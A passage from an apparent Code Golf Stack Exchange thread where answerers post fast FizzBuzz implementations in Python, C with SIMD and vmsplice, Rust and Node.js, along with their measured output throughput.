0:00:30 [14,2MiB/s] [ <=> ]\nTraceback (most recent call last):\n File \"fizzbuzz.py\", line 15, in \n main()\n File \"fizzbuzz.py\", line 13, in main\n next(f)\n File \"fizzbuzz.py\", line 3, in derailleur\n def derailleur(counter, carousel):\nKeyboardInterrupt\nException ignored in: <_io.TextIOWrapper name='' mode='w' encoding='utf-8'>\nBrokenPipeError: [Errno 32] Broken pipe\nuser@Desktop:~$ pypy3 fizzbuzz.py | pv > /dev/null\n^C57MiB 0:00:30 [25,0MiB/s] [ <=> ]\nTraceback (most recent call last):\n File \"fizzbuzz.py\", line 15, in \n main()\n File \"fizzbuzz.py\", line 13, in main\n next(f)\nKeyboardInterrupt\n```\n## Chunking version\nAfterwards I modified the initial version to print the results in chunks, instead of one by one.\n```\nfrom itertools import cycle, count\ndef derailleur(counter, carousel):\n if not carousel:\n return counter\n return carousel\ndef main():\n carousel = cycle([0,0,'Fizz',0,'Buzz','Fizz',0,0,'Fizz','Buzz',0,'Fizz',0,0,'FizzBuzz'])\n counter = map(str, count(1))\n f = map(derailleur, counter, carousel)\n while 1:\n print('\\n'.join([next(f) for _ in range(256)]))\nmain()\n```\nNow under CPython it runs a bit faster, at about 19,6MiB/s. But under pypy it receives a large boost, achieving 84,9MiB/s, within half the speed of the naive implementation written in C reported by the OP (170MiB/s):\n```\nuser@Desktop:~$ python3 chunking_fizzbuzz.py | pv > /dev/null\n^C84MiB 0:00:30 [19,6MiB/s] [ <=> ]\nTraceback (most recent call last):\n File \"chunking_fizzbuzz.py\", line 15, in \n main()\n File \"chunking_fizzbuzz.py\", line 13, in main\n print('\\n'.join([next(f) for _ in range(256)]))\nKeyboardInterrupt\nuser@Desktop:~$ pypy3 chunking_fizzbuzz.py | pv > /dev/null\n^C49GiB 0:00:30 [84,9MiB/s] [ <=> ]\nTraceback (most recent call last):\n File \"chunking_fizzbuzz.py\", line 15, in \n main()\n File \"chunking_fizzbuzz.py\", line 13, in main\n print('\\n'.join([next(f) for _ in range(256)]))\n File \"chunking_fizzbuzz.py\", line 13, in \n print('\\n'.join([next(f) for _ in range(256)]))\nKeyboardInterrupt\n```\nI'm curious to see how much this result can be improved upon, for Python, and how other dynamic languages perform.\n[Answer]\n### Update\nA minor change to remove a branch, and some code cleanup, ~~about 10% speedup on my machine~~.\nBecause the SysV calling convention sets all `xmm` registers as clobbers across function calls, and this includes a call to the `vmsplice` wrapper function, I had to make a manual `syscall` to `vmsplice` with inline assembly to tell the compiler that there are no `xmm` clobbers, so that the compiler can preload more values in `xmm` registers. This was the main source of speedup. Let me know if there's a better way.\nThe inline assembly part is now commented out because Omer (who opened the challenge) thinks inline assembly makes the code no longer pure C. It's best for me to compete with C entries.\n---\nThis program will run faster than any other C or C++ entry, at least twice the speed. It is also noticeably faster than the last edit which was a bit buggy (blame `vmplice`). `gcc` as a compiler and SSE4.1 is a requirement.\nThere are two main optimizations that make this program run fast.\nFirst, the digits are stored in a single XMM register with 128-bits, and since each character consumes 8-bits, one register can hold maximum 16 digits, which is more than enough. All operations to digits are done with one or several SIMD instructions, and the data always stays in a register before it gets copied to the buffer.\nThe `PSHUFB` instruction or `_mm_shuffle_epi8` is the main source of speedup. It does the otherwise complicated byte reversal and shifting all bytes to one direction, in a single instruction. Both happen in the `writeDigits` function.\nSecond is `vmsplice`. I do not like the person who wrote this Linux-specific system call and probably the same person who wrote the documentation very badly. All would've been simple if such poorly-documented and unpredictable syscall didn't exist at all. I was really forced to use it because the speedup it could provide was too big. If you ever consider using this syscall, the following notes may help.\n* The safest and probably intended use of `vmplice` is the sequence of `mmap` -> `vmplice` with `SPLICE_F_GIFT` -> `munmap`. You can call `munmap` directly after `vmsplice` retruns. This works in a similar way to asynchronous IO, and is very efficient in that sense. However since you are `mmap`ing a new buffer every time, the buffer will unlikely be in cache.\n* If you overwrite the buffer after a call to `vmsplice`, things can get very unpredictable. Whether `SPLICE_F_GIFT` is set or not doesn't make a difference, and I'm not even sure whether that flag does a thing at all. That `vmsplice` has returned does not mean that the pipe has consumed all of the buffer. That's why I said it is similar to asynchronous IO. It is not documented at all when it is safe to overwrite the buffer after `vmsplice` has returned. All I can say is it is somehow predictable when,\n\t1. `vmsplice` is always called with the same buffer size.\n\t2. The pipe size matches the buffer size.\n\t3. The *same thread* writes to the buffer and calls `vmsplice`.\n\t4. The buffer is not overwritten *too fast*... and I don't know how much is *too fast*, but for example if you overwrite the buffer right after `vmsplice` returns, things get unpredictable.\nCompile the program with `gcc -s -O3 -msse4.1 -fwhole-program`.\n```\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \nstatic const __m128i shiftMask[] = {\n {0x0706050403020100, 0x0f0e0d0c0b0a0908},\n {0x0807060504030201, 0xff0f0e0d0c0b0a09},\n {0x0908070605040302, 0xffff0f0e0d0c0b0a},\n {0x0a09080706050403, 0xffffff0f0e0d0c0b},\n {0x0b0a090807060504, 0xffffffff0f0e0d0c},\n {0x0c0b0a0908070605, 0xffffffffff0f0e0d},\n {0x0d0c0b0a09080706, 0xffffffffffff0f0e},\n {0x0e0d0c0b0a090807, 0xffffffffffffff0f},\n {0x0f0e0d0c0b0a0908, 0xffffffffffffffff},\n {0xff0f0e0d0c0b0a09, 0xffffffffffffffff},\n {0xffff0f0e0d0c0b0a, 0xffffffffffffffff},\n {0xffffff0f0e0d0c0b, 0xffffffffffffffff},\n {0xffffffff0f0e0d0c, 0xffffffffffffffff},\n {0xffffffffff0f0e0d, 0xffffffffffffffff},\n {0xffffffffffff0f0e, 0xffffffffffffffff},\n {0xffffffffffffff0f, 0xffffffffffffffff}\n};\nstatic __m128i inc(__m128i d) {\n return _mm_sub_epi64(d, _mm_set_epi64x(0, -1));\n}\nstatic __m128i carry(__m128i d) {\n d = _mm_sub_epi64(d,\n _mm_bslli_si128(_mm_cmpeq_epi64(d, _mm_setzero_si128()), 8));\n return _mm_or_si128(d,\n _mm_and_si128(_mm_cmpeq_epi8(d, _mm_setzero_si128()), _mm_set1_epi8(0xf6)));\n}\nstatic int writeDigits(char *b, __m128i d, int i) {\n _mm_storeu_si128((__m128i *)b,\n _mm_shuffle_epi8(\n _mm_shuffle_epi8(_mm_sub_epi64(d, _mm_set1_epi8(0xc6)),\n _mm_set_epi8(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15)),\n shiftMask[i]));\n b[16 - i] = '\\n';\n return 17 - i;\n}\nstatic int writeFizz(void *b) {\n memcpy(b, &(int64_t){0x0a7a7a6946}, 8);\n return 5;\n}\nstatic int writeFizzBuzz(void *b) {\n memcpy(b, &(int64_t){0x7a7a75427a7a6946}, 8);\n ((char *)b)[8] = '\\n';\n return 9;\n}\nstatic int writeFizzAndBuzz(void *b) {\n memcpy(b, &(int64_t){0x7a75420a7a7a6946}, 8);\n memcpy(b + 8, &(int16_t){0x0a7a}, 2);\n return 10;\n}\nstatic int writeBuzzAndFizz(void *b) {\n memcpy(b, &(int64_t){0x7a69460a7a7a7542}, 8);\n memcpy(b + 8, &(int16_t){0x0a7a}, 2);\n return 10;\n}\nstatic void memcpy_simple(void *d, void *s, int n) {\n int i = 0;\n do {\n _mm_store_si128((void *)((char *)d + i),\n _mm_load_si128((void *)((char *)s + i)));\n } while ((i += 16) < n);\n}\n#define ALIGN 0x1000\n#define SIZE (ALIGN << 8)\n#define I d = inc(d)\n#define IC d = carry(inc(d))\n#define D I; p += writeDigits(p, d, i)\n#define F I; p += writeFizz(p)\n#define FB I; p += writeFizzBuzz(p)\n#define FNB I; I; p += writeFizzAndBuzz(p)\n#define BNF I; I; p += writeBuzzAndFizz(p)\nint main() {\n if (fcntl(1, F_SETPIPE_SZ, SIZE) != SIZE) {\n abort();\n }\n alignas(ALIGN) char b[2][SIZE + ALIGN];\n int f = 0;\n char *p = b[f];\n __m128i d = _mm_set1_epi8(0xf6);\n int i = 15;\n for (int64_t j = 10, k = 10;; j += 30) {\n D; D; F; D; BNF; D; D; I; IC; p += writeFizzAndBuzz(p);\n if (j == k) {\n k *= 10;\n --i;\n }\n D; F; D; D; FB; D; D; F; D; IC; p += writeBuzzAndFizz(p);\n I; D; D; FNB; D; F; D; D; IC; p += writeFizzBuzz(p);\n int n = p - b[f] - SIZE;\n if (n >= 0) {\n struct iovec v = {b[f], SIZE};\n do {\n /*register long rax __asm__ (\"rax\") = 278;\n register long rdi __asm__ (\"rdi\") = 1;\n register long rsi __asm__ (\"rsi\") = (long)&v;\n register long rdx __asm__ (\"rdx\") = 1;\n register long r10 __asm__ (\"r10\") = 0;\n __asm__ (\"syscall\" : \"+r\"(rax) : \"r\"(rdi), \"r\"(rsi), \"r\"(rdx), \"r\"(r10)\n : \"rcx\", \"r11\");*/\n long rax = vmsplice(1, &v, 1, 0);\n if (rax < 0) {\n abort();\n }\n v.iov_base = (char *)v.iov_base + rax;\n v.iov_len -= rax;\n } while (v.iov_len);\n f = !f;\n memcpy_simple(b[f], b[!f] + SIZE, n);\n p = b[f] + n;\n }\n }\n return 0;\n}\n```\n[Answer]\nMy code works on Windows 10. It outputs 8-9 GiB/s when the CPU is cool enough.\nI used the following ideas in my code:\n* Filling a buffer 256 KiB and sending it to output; for smaller buffer size the performance suffers; bigger buffer sometimes improves performance, but never by much.\n* For numbers which have the same number of digits, it works in chunks of 15 output lines. These chunks have identical length. While the size of the output buffer is big enough, it copies the previous chunk and adds 15 to the ASCII representation of all the numbers in it.\n* Near the end of the buffer and for first chunk, it calculates the output messages explicitly. Also, if numbers in the chunk have different length (e.g. 9999 and 10000).\n* It uses OpenMP to calculate 4 chunks simultaneously. I set `NUM_THREADS` to 4 (best on my computer, which has 8 logical cores); a larger setting might be better.\nWhen I want to verify the output, I set `check_file = 1` in code; if `check_file = 0`, it writes to `NUL`, which is the null output device on Windows.\n```\n#include \n#include \n#include \n#include \n#include \n#include \"windows.h\"\n#include \"fileapi.h\"\n#include \"process.h\"\nint size_15(int num_digits) // size of 15 messages, where numbers have a given number of digits\n{\n return 8 * num_digits + 47;\n}\nint num_of_digits(int64_t counter) // number of digits\n{\n int result = 1;\n if (counter >= 100000000)\n {\n counter /= 100000000;\n result += 8;\n }\n if (counter >= 10000)\n {\n counter /= 10000;\n result += 4;\n }\n if (counter >= 100)\n {\n counter /= 100;\n result += 2;\n }\n if (counter >= 10)\n return result + 1;\n else\n return result;\n}\nvoid print_num(char* buf, int64_t counter, int num_digits)\n{\n for (int i = 0; i < num_digits; ++i)\n {\n buf[num_digits - 1 - i] = counter % 10 + '0';\n counter /= 10;\n }\n}\nvoid add_15_to_decimal_num(char* p, int num_digits)\n{\n char digit = p[num_digits - 1] + 5;\n int c = (digit > '9');\n p[num_digits - 1] = (char)(digit - c * 10);\n c += 1;\n for (int i = 1; i < num_digits; ++i)\n {\n if (c == 0)\n break;\n digit = (char)(p[num_digits - 1 - i] + c);\n c = digit > '9';\n p[num_digits - 1 - i] = (char)(digit - c * 10);\n }\n}\nuint64_t fill_general(char* buf, int size, uint64_t counter, int* excess)\n{\n char* p = buf;\n while (p < buf + size)\n {\n int fizz = counter % 3 == 0;\n int buzz = counter % 5 == 0;\n if (fizz && buzz)\n {\n memcpy(p, \"FizzBuzz\\n\", 9);\n p += 9;\n }\n else if (fizz)\n {\n memcpy(p, \"Fizz\\n\", 5);\n p += 5;\n }\n else if (buzz)\n {\n memcpy(p, \"Buzz\\n\", 5);\n p += 5;\n }\n else\n {\n int num_digits = num_of_digits(counter);\n print_num(p, counter, num_digits);\n p[num_digits] = '\\n';\n p += num_digits + 1;\n }\n ++counter;\n }\n *excess = (int)(p - (buf + size));\n return counter;\n}\nvoid fill15(char* buf, int64_t counter, int num_digits, int num_ofs[8])\n{\n char* p = buf;\n int m15 = counter % 15;\n for (int i = m15; i < m15 + 15; ++i)\n {\n if (i % 15 == 0)\n {\n memcpy(p, \"FizzBuzz\\n\", 9);\n p += 9;\n }\n else if (i % 3 == 0)\n {\n memcpy(p, \"Fizz\\n\", 5);\n p += 5;\n }\n else if (i % 5 == 0)\n {\n memcpy(p, \"Buzz\\n\", 5);\n p += 5;\n }\n else\n {\n *num_ofs++ = (int)(p - buf);\n print_num(p, counter + i - m15, num_digits);\n p += num_digits;\n *p++ = '\\n';\n }\n }\n}\n// memcpy replacement; works only for sizes equal to 47 + 8 * n, for small n\nvoid copy_47_8n(char* src, unsigned size)\n{\n char* dst = src + size;\n memcpy(dst, src, 47);\n size -= 47;\n dst += 47;\n src += 47;\n if (size >= 128)\n exit(1);\n if (size >= 96)\n memcpy(dst + 64, src + 64, 32);\n if (size >= 64)\n memcpy(dst + 32, src + 32, 32);\n if (size >= 32)\n memcpy(dst + 0, src + 0, 32);\n dst += size / 32 * 32;\n src += size / 32 * 32;\n size %= 32;\n if (size >= 24)\n memcpy(dst + 16, src + 16, 8);\n if (size >= 16)\n memcpy(dst + 8, src + 8, 8);\n if (size >= 8)\n memcpy(dst + 0, src + 0, 8);\n}\n#define NUM_THREADS 4\nuint64_t fill_fast(char* buf, int size, uint64_t counter, int* excess)\n{\n const int num_digits = num_of_digits(counter);\n const int chunk_size = 8 * num_digits + 47;\n const int num_iter = size / chunk_size;\n int thread;\n#pragma omp parallel for\n for (thread = 0; thread < NUM_THREADS; ++thread)\n {\n const int begin_iter = num_iter * thread / NUM_THREADS;\n const int thread_num_iter = num_iter * (thread + 1) / NUM_THREADS - begin_iter;\n char* output = buf + begin_iter * chunk_size;\n int num_ofs[8];\n fill15(output, counter + begin_iter, num_digits, num_ofs);\n for (int iter = 1; iter < thread_num_iter; ++iter)\n {\n copy_47_8n(output, chunk_size);\n for (int i = 0; i < 8; ++i)\n add_15_to_decimal_num(output + chunk_size + num_ofs[i], num_digits);\n output += chunk_size;\n }\n }\n buf += num_iter * chunk_size;\n size -= num_iter * chunk_size;\n counter += num_iter * 15;\n return fill_general(buf, size, counter, excess);\n}\nuint64_t fill(char* buf, int size, uint64_t counter, int* excess)\n{\n int num_digits = num_of_digits(counter);\n int64_t max_next_counter = counter + size / (8 * num_digits + 47) * 15 + 15;\n int max_next_num_digits = num_of_digits(max_next_counter);\n if (num_digits == max_next_num_digits)\n return fill_fast(buf, size, counter, excess);\n else\n return fill_general(buf, size, counter, excess);\n}\nvoid file_io(void)\n{\n int check_file = 0;\n HANDLE f = CreateFileA(check_file ? \"my.txt\" : \"NUL\", GENERIC_WRITE, FILE_SHARE_READ, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\n DWORD e = GetLastError();\n LARGE_INTEGER frequency;\n QueryPerformanceFrequency(&frequency);\n DWORD read;\n int bufsize = 1 << 18;\n long long statsize = 1ll << 34;\n char* buf = malloc(bufsize);\n uint64_t counter = 1;\n int excess = 0;\n while (counter < 9999999900000000)\n {\n LARGE_INTEGER start, stop;\n QueryPerformanceCounter(&start);\n for (int i = 0; i < statsize / bufsize; ++i)\n {\n memcpy(buf, buf + bufsize, excess);\n counter = fill(buf + excess, bufsize - excess, counter, &excess);\n e = WriteFile(f, buf, bufsize, &read, 0);\n if (check_file)\n FlushFileBuffers(f);\n if (e == 0 || (int)read != bufsize)\n {\n e = GetLastError();\n exit(1);\n }\n }\n QueryPerformanceCounter(&stop);\n double time = (double)(stop.QuadPart - start.QuadPart) / frequency.QuadPart;\n printf(\"Throughput (GB/s): %f\\n\", statsize / (1 << 30) / time);\n }\n CloseHandle(f);\n exit(0);\n}\nint main()\n{\n file_io();\n}\n```\n[Answer]\nMy solution maintains a buffer with a batch of lines (6000 lines worked best on my system), and updates all the numbers in the buffer in a parallelisable loop. We use an auxiliary array `nl[]` to keep track of where each newline lies, so we have random access to all the numbers.\nThe addition is all in-place decimal character-by-character arithmetic, with no arithmetic division after the buffer is initialised (I could have created the buffer without division, too, but opted for shorter, readable code!). Every so often, when the number of digits rolls over, we have to stop and re-position all the numbers within the buffer (that's what the `shuffle` counter is for), and update the corresponding entries in `nl[]`; this happens more and more infrequently as we proceed.\nI compiled using `gcc -std=gnu17 -Wall -Wextra -fopenmp -O3 -march=native`, and ran with `OMP_NUM_THREADS=3` set in the environment (a different number of threads may be optimal on another host).\n```\n#include \n#include /* sprintf */\n#include /* memset */\n#include \n/* This is the single tunable you need to adjust for your platform */\n#define chunk 6000 /* must be multiple of 3*5, with only one nonzero digit */\n/* i.e. 3, 6 or 9 times an exact power of ten */\n/* Select a number of digits to use. If we produce one billion numbers\n per second, then we'll finish all the 18-digit numbers in just 30\n years. 24 digits should suffice until next geological epoch, at least. */\n#define numlen 25 /* 24 decimal digits plus newline */\n#define STR_(x) #x\n#define STR(x) STR_(x)\n#define chunk_str STR(chunk)\n#define unlikely(e) __builtin_expect((e), 0)\nchar format[chunk * numlen];\nchar *nl[chunk+1];\nint main()\n{\n /* Create the format string. */\n /* We do this twice, as the numbers written first time round are\n too short for the addition. */\n for (int j = 0, n = 1; j < 2; ++j)\n {\n nl[0] = format;\n char *p = format;\n for (int i = 0; i <= chunk; ++i, ++n) {\n if ((n % 15) == 0) {\n p += sprintf(p, \"FizzBuzz\\n\");\n } else if ((n % 5) == 0) {\n p += sprintf(p, \"Buzz\\n\");\n } else if ((n % 3) == 0) {\n p += sprintf(p, \"Fizz\\n\");\n } else {\n p += sprintf(p, \"%d\\n\", n);\n }\n nl[i] = p;\n }\n write(1, format, nl[chunk] - format);\n }\n atomic_int shuffle = 0;\n for (;;) {\n#pragma omp parallel for schedule(static)\n for (int i = 0; i < chunk; ++i) {\n if (nl[i+1][-2] == 'z') {\n /* fizz and/or buzz - not a number */\n continue;\n }\n /* else add 'chunk' to the number */\n static const int units_offset = sizeof chunk_str;\n static const int digit = chunk_str[0] - '0';\n char *p = nl[i+1] - units_offset;\n *p += digit;\n while (*p > '9') {\n *p-- -= 10;\n ++*p;\n }\n if (unlikely(p < nl[i])) {\n /* digit rollover */\n ++shuffle;\n }\n }\n if (unlikely(shuffle)) {\n /* add a leading one to each overflowing number */\n char **nlp = nl + chunk;\n char *p = *nlp;\n char *dest = p + shuffle;\n while (p < dest) {\n if (*p == '\\n') {\n *nlp-- = dest + 1;\n } else if (*p == '\\n'+1) {\n --*p;\n *dest-- = '1';\n *nlp-- = dest + 1;\n }\n *dest-- = *p--;\n }\n shuffle = 0;\n }\n write(1, format, nl[chunk] - format);\n }\n}\n```\n[Answer]\n# Trivial Rust\nThis one is just plain Rust without any tricks (no `unsafe`, no `vmsplice()`, no assembly), just a light loop unrolling. ~~It manages to reach 6GiB/s on my laptop (XPS 15 i9)~~ (it's wrong, see in comments), I'm curious to know how much it does on the reference hardware.\nCompile with `cargo build --release`, run with `./target/release/fizzbuzz | pv >/dev/null`\n```\nuse std::error::Error;\nuse std::fmt::Write;\nuse std::io::Write as OtherWrite;\nconst LEN: usize = 1000000000;\nfn main() -> Result<(), Box> {\n let stdout = std::io::stdout();\n let mut stdout = std::io::BufWriter::new(stdout.lock());\n let mut buffer = String::new();\n buffer.reserve(80);\n let mut n = 0usize;\n while n < LEN {\n write!(\n &mut buffer,\n r#\"{}\n{}\nFizz\n{}\nBuzz\nFizz\n{}\n{}\nFizz\nBuzz\n{}\nFizz\n{}\n{}\nFizzBuzz\n\"#,\n n + 1,\n n + 2,\n n + 4,\n n + 7,\n n + 8,\n n + 11,\n n + 13,\n n + 14\n )?;\n stdout.write_all(buffer.as_bytes())?;\n n += 15;\n buffer.clear(); // forgot that ...\n }\n Ok(())\n}\n```\n[Answer]\n## Python\n## with numba (original)\n```\nimport numpy as np\nfrom numba import njit\n@njit\ndef get_arr(i,j):\n a = np.arange(i,j)\n return a[np.bitwise_and(a%5 != 0, a%3 != 0)]\ndef fizzbuzzv3(chunk,length):\n string = \"\"\n for i in range(1,chunk+1):\n if i%15 == 0:\n string += \"FizzBuzz\"\n elif i%3 == 0:\n string += \"Fizz\"\n elif i%5 == 0:\n string += \"Buzz\"\n else:\n string += \"{}\"\n string += \"\\n\"\n string = string[:-2]\n for i in range(1,length,chunk):\n print(string.format(*get_arr(i,i+chunk)))\n \nfizzbuzzv3(6000,int(1e100))\n```\nTested on Google Colaboratory with int(1e9) instead of int(1e100) for practical reasons and got 38.3MiB/s.\n```\n!python3 test.py | pv > /dev/null\n7.33GiB 0:03:16 [38.3MiB/s] [ <=> ]\n```\n## Faster version with os.write, % string formatting and removed numba\n```\nimport numpy as np\nimport os\ndef fizzbuzz(chunk,length):\n string_arr = np.empty(chunk).astype(' /dev/null\n7.33GiB 0:00:59 [ 125MiB/s] [ <=> ]\n```\n## Pure python, no imports\n```\ndef fizzbuzz(chunk,length):\n fb_string = \"\"\n for i in range(0,chunk):\n if i%15 == 0: fb_string += \"FizzBuzz\"\n elif i%3 == 0: fb_string += \"Fizz\"\n elif i%5 == 0: fb_string += \"Buzz\"\n else: fb_string += \"%i\"\n fb_string += \"\\n\"\n offset_tuple = tuple(i for i in range(chunk) if i%3 != 0 and i%5 != 0)\n for i in range(0,length,chunk):\n print(fb_string % offset_tuple, end='')\n offset_tuple = tuple(i + chunk for i in offset_tuple)\nfizzbuzz(6000,int(1e100))\n```\nGoogle Colaboratory with int(1e9) - 87.5MiB/s\n```\n!python3 test.py | pv > /dev/null\n7.33GiB 0:01:25 [87.5MiB/s] [ <=> ]\n```\n## Multiprocessing + numpy Version\nrequires python 3.9 and uses shared memory objects to get output from return\\_string() on as many cores as possible.\n```\nimport numpy as np\nfrom os import write\nfrom multiprocessing import shared_memory\nfrom multiprocessing import Pool\ndef return_string(stringmemory_name,arraymemory_name,offset_arr_shape,offset):\n #recover string from shared bytes\n stringmemory = shared_memory.SharedMemory(name=stringmemory_name)\n fb_string = bytes(stringmemory.buf).decode()\n stringmemory.close()\n #recover numpy array from shared bytes\n arraymemory = shared_memory.SharedMemory(name=arraymemory_name)\n offset_arr = np.ndarray(offset_arr_shape, dtype=np.int64, buffer=arraymemory.buf) + offset\n arraymemory.close()\n #Get output\n to_output = fb_string % tuple(offset_arr.tolist())\n \n #Return encoded\n return to_output.encode()\ndef fizzbuzz(chunk,length,number_processes):\n #Make the string. Uses numpy arrays because it's easy\n string_arr = np.empty(chunk).astype('= number_processes:\n running_list[0].wait()\n #Call a new function\n async_instance = pool.apply_async(return_string, \\\n (stringmemory.name,arraymemory.name,offset_arr.shape,i))\n running_list.append(async_instance)\n #output\n if running_list[0].ready():\n write(1,running_list[0].get())\n del running_list[0]\n while len(running_list) != 0:\n running_list[0].wait()\n if running_list[0].ready():\n write(1,running_list[0].get())\n del running_list[0]\n stringmemory.close()\n stringmemory.unlink()\n arraymemory.close()\n arraymemory.unlink()\nfizzbuzz(750000,int(1e100),32)\n```\nGoogle collab with fizzbuzz(750000,int(1e9),8) was only 77.7 MiB/s but that only has 2 cores. On a 16C/32T cpu I think it should do much better.\nIf it isn't too much trouble, please try out different values for for the chunk size (first argument - 750000) and number of processes (last argument - 32)\n```\n!python3 test.py | pv > /dev/null\n7.34GiB 0:01:36 [77.7MiB/s] [ <=> ]\n```\n## Multicore, numpy and improvised locks\n```\nimport numpy as np\nfrom os import write\nfrom multiprocessing import shared_memory\nfrom multiprocessing import Pool\ndef return_string(stringmemory_name,arraymemory_name,offset_arr_shape,offset,process_id,lock_name):\n #recover string from shared bytes\n stringmemory = shared_memory.SharedMemory(name=stringmemory_name)\n fb_string = bytes(stringmemory.buf).decode()\n stringmemory.close()\n #recover numpy array from shared bytes\n arraymemory = shared_memory.SharedMemory(name=arraymemory_name)\n offset_arr = np.ndarray(offset_arr_shape, dtype=np.int64, buffer=arraymemory.buf) + offset\n arraymemory.close()\n #Get output\n to_output = fb_string % tuple(offset_arr.tolist())\n to_output = to_output.encode()\n #lock \n lock = shared_memory.SharedMemory(name=lock_name)\n while lock.buf[0:] != process_id:\n pass\n lock.close()\n write(1,to_output)\n return int(process_id.decode()) + 1\ndef fizzbuzz(chunk,length,number_processes):\n #Make the string. Uses numpy arrays because it's easy\n string_arr = np.empty(chunk).astype('= number_processes:\n running_list[0].wait()\n #Call a new function\n async_instance = pool.apply_async(return_string, \\\n (stringmemory.name, arraymemory.name, offset_arr.shape, i, \\\n str((i//chunk)%number_processes).encode(), lock.name))\n running_list.append(async_instance)\n #output\n if running_list[0].ready():\n lock.buf[0:] = str(running_list[0].get()%number_processes).encode()\n del running_list[0]\n #overflow\n while len(running_list) != 0:\n running_list[0].wait()\n if running_list[0].ready():\n lock.buf[0:] = str(running_list[0].get()%number_processes).encode()\n del running_list[0]\n stringmemory.close()\n stringmemory.unlink()\n arraymemory.close()\n arraymemory.unlink()\n lock.close()\n lock.unlink()\nfizzbuzz(1500000,int(1e100),8)\n```\nOn google collab (with int(1e9) as usual) this is 15% faster, which makes sense because it doesn't need to pickle the output and send it back to the main program. The improvised lock (single byte of data that contains the printing order) should allow it to print in the correct order despite being async. Also larger chunk size.\n```\n!python3 fizzbuzz_multiprocessing_numpy_os.py | pv > /dev/null\n7.34GiB 0:01:14 [ 100MiB/s] [ <=> ]\n```\n[Answer]\n**Python3**\nI ported [Neil](https://codegolf.stackexchange.com/a/215231)+[Kamila](https://codegolf.stackexchange.com/a/215236) answers to python3\n```\nfrom os import write\nbuf = bytearray(256)\nout = bytearray(65536 + 4096)\ninit = b\"1\\n2\\nFizz\\n4\\nBuzz\\nFizz\\n7\\n8\\nFizz\\n\"\nout[:len(init)] = init\nfmt = \"Buzz\\n{}1\\nFizz\\n{}3\\n{}4\\nFizzBuzz\\n{}6\\n{}7\\nFizz\\n{}9\\nBuzz\\nFizz\\n{}2\\n{}3\\nFizz\\nBuzz\\n{}6\\nFizz\\n{}8\\n{}9\\nFizzBuzz\\n{}1\\n{}2\\nFizz\\n{}4\\nBuzz\\nFizz\\n{}7\\n{}8\\nFizz\\n\"\nt = 30\ni = 1\nj = 1\nfor l in range(1, 20):\n txt = fmt.format(i, i, i, i, i, i, i + 1, i + 1, i + 1, i + 1, i + 1, i + 2, i + 2, i + 2, i + 2, i + 2).encode()\n buf[:len(txt)] = txt\n i *= 10\n while j < i:\n out[t:t+len(txt)] = buf[:len(txt)]\n t += len(txt)\n if t >= 65536:\n u = write(1, out[:65536])\n while u < 65536:\n u += write(1, out[u:65536])\n t -= 65536\n out[:t] = out[65536:65536+t]\n q = 0\n for z in (4, 7, 2, 11, 2, 7, 12, 2, 12, 7, 2, 11, 2, 7, 12, 2):\n q += z + l\n p = q\n if buf[p] < 55:\n buf[p] += 3\n else:\n buf[p] -= 7\n p -= 1\n while buf[p] == 57:\n buf[p] = 48\n p -= 1\n buf[p] += 1\n j += 3\n```\nOn my laptop with i5-8300H `python3 fizzbuzz.py | pv > /dev/null` results in throughput of 48 MiB/s on average.\nWhile running the same code with `pypy3` gives me up to 820 MiB/s.\n[Answer]\nHere's my attempt with Node.js 18.4\n# Initial solution\n```\nconst MAX = Number.MAX_SAFE_INTEGER\nconst BUFFER_SIZE = 32 * 1024\nfunction fizzbuzz() {\n let buffer = ''\n for (let i = 0; i < MAX; i += 15) {\n buffer += `${i + 1}\\n${i + 2}\\nFizz\\n${i + 4}\\nBuzz\\nFizz\\n${i + 7}\\n${i + 8}\\nFizz\\nBuzz\\n${i + 11}\\nFizz\\n${i + 13}\\n${i + 14}\\nFizzBuzz\\n`\n if (buffer.length > BUFFER_SIZE) {\n process.stdout.write(buffer)\n buffer = ''\n }\n }\n}\nfizzbuzz()\n```\nThis runs at ~110MB/s\nSadly this doesn't satisfy the requirement for large values as the largest safe int in JavaScript is `2^53-1`. It also quickly hits OOM errors because for whatever reason the garbage collector doesn't free up the temporary strings.\n# Single threaded\n```\nconst MAX = 0x7FFFFFFFFFFFFFFFn\nconst BUFFER_SIZE = 64 * 1024\nconst MAX_DECIMALS = 19 // 19 max bytes (decimal places) for 2^63-1\nconst BASE10 = [...Array(MAX_DECIMALS + 1).keys()].map((i) => 10n ** BigInt(i))\nconst FIZZ_BUZZ_PER_CYCLE = (15 / 3) + (15 / 5)\nconst INT_PER_CYCLE = 15 - FIZZ_BUZZ_PER_CYCLE\nconst BYTES_PER_CYCLE = (FIZZ_BUZZ_PER_CYCLE * 4) + (INT_PER_CYCLE * MAX_DECIMALS) // 4 bytes for 'fizz' and 'buzz'', \nconst CYCLES = Math.floor(BUFFER_SIZE / BYTES_PER_CYCLE)\nfunction fizzbuzz() {\n const buffer = Buffer.alloc(BYTES_PER_CYCLE * CYCLES)\n let offset = 0\n const writeFizz = () => {\n buffer.writeUInt32BE(0x46697a7a, offset)\n offset += 4\n buffer.writeUint8(0x0a, offset)\n offset += 1\n }\n const writeBuzz = () => {\n buffer.writeUInt32BE(0x42757a7a, offset)\n offset += 4\n buffer.writeUint8(0x0a, offset)\n offset += 1\n }\n const writeFizzBuzz = () => {\n buffer.writeUInt32BE(0x46697a7a, offset)\n offset += 4\n buffer.writeUInt32BE(0x42757a7a, offset)\n offset += 4\n buffer.writeUint8(0x0a, offset)\n offset += 1\n }\n // Works between 1 to 2^63-1\n const writeBigInt = (n) => {\n let hasLeading = false\n for (let exp = MAX_DECIMALS; exp >= 0; exp--) {\n const divisor = BASE10[exp]\n if (n >= divisor) {\n const digit = n / divisor\n n = n % divisor\n buffer.writeUint8(0x30 + Number(digit), offset)\n offset += 1\n hasLeading = true\n } else if (hasLeading) {\n buffer.writeUint8(0x30, offset)\n offset += 1\n }\n }\n buffer.writeUint8(0x0a, offset)\n offset += 1\n }\n const printAndResetBuffer = () => {\n process.stdout.write(buffer.subarray(0, offset), 'ascii')\n offset = 0\n }\n for (let i = 0n, cycles = 0; i < MAX; i += 15n, cycles += 1) {\n writeBigInt(i + 1n)\n writeBigInt(i + 2n)\n writeFizz()\n writeBigInt(i + 4n)\n writeBuzz()\n writeFizz()\n writeBigInt(i + 7n)\n writeBigInt(i + 8n)\n writeFizz()\n writeBuzz()\n writeBigInt(i + 